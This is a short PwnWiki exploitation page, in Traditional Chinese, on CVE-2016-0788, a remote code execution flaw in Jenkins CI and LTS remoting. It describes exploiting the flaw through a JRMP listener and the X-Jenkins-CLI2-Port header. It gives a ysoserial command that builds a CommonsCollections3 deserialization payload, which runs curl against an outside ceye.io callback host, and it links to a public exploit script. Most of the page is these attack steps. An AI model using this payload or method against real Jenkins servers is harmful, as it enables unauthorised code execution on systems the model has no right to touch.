CVE-2016-0788 Jenkins CI和LTS 遠程代碼執行漏洞

From PwnWiki
Revision as of 15:51, 9 March 2021 by Pwnwiki (talk | contribs) (Marked this version for translation)
(diff) ← Older revision | Latest revision (diff) | Newer revision → (diff)
Other languages:
Chinese • ‎中文（繁體）‎

簡介

CloudBeesJenkinsCI1.650之前版本和LTS1.642.2之前版本的remoting模塊中存在安全漏洞。遠程攻擊者可通過打開JRMP監聽程序利用該漏洞執行任意代碼。

利用需要X-Jenkins-CLI2-Port對應的端口，如果Jenkins無法獲取CLI版本2的端口標頭X-Jenkins-CLI2-Port它會退回到版本1。

利用ys生成二進製文件

java -jar ysoserial.jar CommonsCollections3 "curl http://r9rub4.ceye.io/" > payload.bin

利用腳本

https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py

Retrieved from "https://pwnwiki.com/index.php?title=CVE-2016-0788_Jenkins_CI和LTS_遠程代碼執行漏洞&oldid=245"